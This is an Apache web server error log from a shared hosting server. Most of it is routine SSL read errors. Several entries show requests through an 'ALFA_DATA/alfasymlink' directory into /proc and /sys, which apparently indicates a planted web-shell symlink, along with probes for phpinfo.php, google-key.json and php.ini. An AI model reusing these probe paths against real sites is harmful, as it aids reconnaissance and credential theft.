[Sat Oct 24 05:28:18.233271 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.225.24.180:64500] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:28:22.436062 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.229.164.203:13653] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:28:26.168430 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 35.168.238.50:29158] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:28:30.210460 2026] [ssl:error] [pid 2608663:tid 2608663] (22)Invalid argument: [client 18.214.124.6:58429] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:28:32.172133 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 85.208.96.211:11072] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:28:38.160319 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 98.82.59.253:64566] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:28:42.159949 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.235.191.179:11015] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:28:46.164778 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.195.145.102:20202] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:28:50.215304 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.194.134.53:32035] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:28:58.157325 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 34.234.206.30:15911] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:29:02.181694 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 34.194.14.255:43093] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/node0/compact
[Sat Oct 24 05:29:18.139464 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 98.82.40.168:39341] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:03.0/driver/new_id
[Sat Oct 24 05:29:22.184324 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.206.249.188:48579] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:29:26.179280 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.4.229.9:5253] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:29:42.167186 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.221.50.71:11503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:29:46.161858 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 23.21.179.27:48319] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:29:54.155377 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.22.87.224:53199] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:29:58.201626 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.4.213.199:19485] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:30:02.283997 2026] [ssl:error] [pid 2608811:tid 2608811] (5)Input/output error: [client 18.211.148.239:43405] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:30:10.157633 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.229.2.217:31702] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:30:22.144248 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 184.73.167.217:65347] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:30:26.173616 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.215.59.93:16874] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:30:34.160126 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 54.167.32.123:47544] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:30:42.152160 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 34.236.135.14:46221] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/rom
[Sat Oct 24 05:30:46.234453 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.83.56.1:37028] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:30:50.167698 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.83.23.103:52042] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:30:51.197340 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 85.208.96.209:29762] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/free_calls
[Sat Oct 24 05:31:02.160686 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 54.210.155.69:27724] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:31:22.293080 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.199.252.22:26555] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:31:25.546324 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 85.208.96.196:41548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/objects_partial
[Sat Oct 24 05:31:30.145056 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 54.159.18.27:14937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:31:34.255141 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 23.23.104.107:58172] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:31:42.658794 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.210:12546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/align
[Sat Oct 24 05:31:50.212610 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 100.28.49.152:16066] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:31:54.143000 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 98.83.226.125:23390] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:32:06.208284 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.197.28.78:23604] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:32:07.685883 2026] [security2:error] [pid 2607843:tid 2607843] [client 43.130.105.21:45134] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas2.com/"] [unique_id "atx7FwSwRuPA-FjBma7HewAAAAI"]
[Sat Oct 24 05:32:07.687926 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 43.130.105.21:45134] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Sat Oct 24 05:32:10.139156 2026] [ssl:error] [pid 2608663:tid 2608663] (22)Invalid argument: [client 18.232.11.247:21331] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:32:22.176333 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 44.205.192.249:23549] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:32:26.342882 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.197.82.195:41781] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:32:30.246487 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.226.34.98:45179] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:32:34.141251 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.217.82.254:9944] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:32:38.159232 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.21.250.48:30504] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:32:42.135161 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.230.224.6:17411] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:32:54.304830 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 85.208.96.198:60654] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/slabs
[Sat Oct 24 05:32:58.153196 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 52.204.81.148:7984] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/8250_mid/bind
[Sat Oct 24 05:33:06.369708 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 100.27.153.9:19647] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:33:10.282630 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 44.193.102.198:36940] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:33:18.146879 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.223.134.5:3070] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:33:22.171686 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 44.209.35.147:20557] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:33:26.146071 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 34.194.165.45:2903] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/amd_gpio/bind
[Sat Oct 24 05:33:34.158723 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 54.197.102.71:65375] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:33:41.464081 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.158.222.181:55144] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/hosting/phpinfo.php"] [unique_id "atx7dbX1SaR9hxmEXognNAAAAAo"]
[Sat Oct 24 05:33:41.464151 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.158.222.181:55144] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/hosting/phpinfo.php"] [unique_id "atx7dbX1SaR9hxmEXognNAAAAAo"]
[Sat Oct 24 05:33:42.198479 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 34.231.118.144:54024] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:33:46.149469 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.204.12.115:44715] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:33:47.162082 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.158.222.181:55144] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/google-key.json"] [unique_id "atx7e7X1SaR9hxmEXognUQAAAAo"]
[Sat Oct 24 05:33:47.162140 2026] [security2:error] [pid 2608798:tid 2608798] [client 34.158.222.181:55144] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/google-key.json"] [unique_id "atx7e7X1SaR9hxmEXognUQAAAAo"]
[Sat Oct 24 05:33:50.145582 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.71.216.196:43823] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:34:09.714472 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 185.191.171.17:24288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/names_cache/poison
[Sat Oct 24 05:34:14.149876 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 3.226.106.93:10719] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:34:18.264971 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 3.94.199.128:35055] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:07/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/remove_id
[Sat Oct 24 05:34:30.687326 2026] [cgi:error] [pid 2608663:tid 2608663] [client 207.154.247.141:59264] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Sat Oct 24 05:34:42.229794 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 54.225.148.123:47712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/ata_piix/new_id
[Sat Oct 24 05:34:47.265955 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 85.208.96.202:46322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/red_zone
[Sat Oct 24 05:34:54.156757 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.195.248.30:39518] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:34:58.155243 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 107.20.255.194:6413] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:34:58.155427 2026] [security2:error] [pid 2609012:tid 2609012] [client 107.20.255.194:6413] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:08/adr"] [unique_id "atx7wnUcfBNBYE9xHAI_YwAAAAA"]
[Sat Oct 24 05:34:58.155450 2026] [security2:error] [pid 2609012:tid 2609012] [client 107.20.255.194:6413] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:08/adr"] [unique_id "atx7wnUcfBNBYE9xHAI_YwAAAAA"]
[Sat Oct 24 05:35:06.419707 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.85.126.86:61556] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:35:14.145637 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.225.199.17:20433] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:35:25.617783 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 85.208.96.198:49750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/ctor
[Sat Oct 24 05:35:30.165288 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 34.224.9.144:41927] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:35:46.501237 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 52.45.92.83:37839] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:35:50.184084 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 54.87.62.248:17119] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:36:02.178962 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.22.64.232:35861] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:36:06.416297 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 44.223.232.55:23686] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory3/node0/cpu0/firmware_node/subsystem/drivers/button/unbind
[Sat Oct 24 05:36:13.396051 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 185.191.171.6:37064] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:36:14.147163 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.212.205.90:32379] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:36:18.355023 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.204.71.8:28079] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:36:22.155053 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.22.64.232:64264] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:36:26.152171 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 54.85.109.140:33665] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:36:42.137528 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.204.12.115:33613] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:36:54.231550 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 54.89.90.224:25624] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:36:58.298975 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.205.127.11:62942] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:37:06.144181 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 52.207.47.227:55552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/device:05/physical_node/virtio1/driver/module/uevent
[Sat Oct 24 05:37:10.168731 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.84.200.43:49498] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:37:14.403592 2026] [ssl:error] [pid 2609012:tid 2609012] (5)Input/output error: [client 44.207.207.36:2511] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:37:30.170536 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 35.169.102.85:33175] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:37:47.565777 2026] [core:crit] [pid 2608798:tid 2608798] (13)Permission denied: [client 172.104.209.205:47770] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 05:38:02.138868 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.84.161.62:11248] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:38:06.189246 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.236.185.101:57919] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:38:14.178792 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 18.215.24.66:18549] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:38:18.293181 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.93.211.16:20995] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:38:26.320980 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.208.11.93:20208] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:38:30.290282 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 54.225.199.17:58904] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:38:34.165357 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 54.84.93.8:15080] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:38:58.135032 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 44.207.252.58:40327] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:39:01.785823 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.7:59438] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/red_zone
[Sat Oct 24 05:39:01.786534 2026] [security2:error] [pid 2607843:tid 2607843] [client 185.191.171.7:59438] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/red_zone"] [unique_id "atx8tQSwRuPA-FjBma7HiAAAAAI"]
[Sat Oct 24 05:39:01.786572 2026] [security2:error] [pid 2607843:tid 2607843] [client 185.191.171.7:59438] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/red_zone"] [unique_id "atx8tQSwRuPA-FjBma7HiAAAAAI"]
[Sat Oct 24 05:39:10.177591 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 44.215.61.66:23664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:00/physical_node/remove
[Sat Oct 24 05:39:18.225848 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.156.55.147:46515] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:39:27.016731 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.5:22882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/remote_node_defrag_ratio
[Sat Oct 24 05:39:29.240954 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 85.208.96.207:59324] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/order
[Sat Oct 24 05:39:38.130672 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 44.206.65.8:32707] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:39:50.143011 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 107.20.255.194:22361] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:39:50.143235 2026] [security2:error] [pid 2607843:tid 2607843] [client 107.20.255.194:22361] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/drivers/button/LNXPWRBN:00/uevent"] [unique_id "atx85gSwRuPA-FjBma7HigAAAAI"]
[Sat Oct 24 05:39:50.143266 2026] [security2:error] [pid 2607843:tid 2607843] [client 107.20.255.194:22361] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/drivers/button/LNXPWRBN:00/uevent"] [unique_id "atx85gSwRuPA-FjBma7HigAAAAI"]
[Sat Oct 24 05:39:54.244354 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 3.230.69.161:41535] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/node0/compact
[Sat Oct 24 05:40:00.799886 2026] [core:crit] [pid 2608663:tid 2608663] (13)Permission denied: [client 216.244.66.250:51218] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/5/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/5/fd/' is executable
[Sat Oct 24 05:40:00.799932 2026] [core:crit] [pid 2608663:tid 2608663] (13)Permission denied: [client 216.244.66.250:51218] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/5/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/5/map_files/' is executable
[Sat Oct 24 05:40:00.799948 2026] [core:crit] [pid 2608663:tid 2608663] (13)Permission denied: [client 216.244.66.250:51218] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/5/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/5/fdinfo/' is executable
[Sat Oct 24 05:40:02.130544 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 54.166.126.132:14845] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:40:14.151255 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.221.50.71:53671] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:40:18.168831 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.2.4.213:5429] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:40:22.316300 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.83.180.239:41964] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:40:30.263738 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 44.195.50.71:17196] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:40:34.150831 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 3.219.81.66:18502] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:40:35.674046 2026] [core:crit] [pid 2603807:tid 2603807] (13)Permission denied: [client 71.6.237.16:5572] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 05:40:35.971498 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 71.6.237.16:49996] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 05:40:36.400538 2026] [authz_core:error] [pid 2608811:tid 2608811] [client 71.6.237.16:5586] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 05:40:38.337925 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.231.118.144:52957] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:40:43.796074 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 85.208.96.205:56090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/slab_size
[Sat Oct 24 05:40:46.156938 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.89.176.255:47475] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:40:58.180325 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.71.203.206:41488] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:41:02.212690 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 100.29.155.89:44864] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:41:06.146409 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.207.47.227:34672] AH02013: coalesce failed to read from data bucket
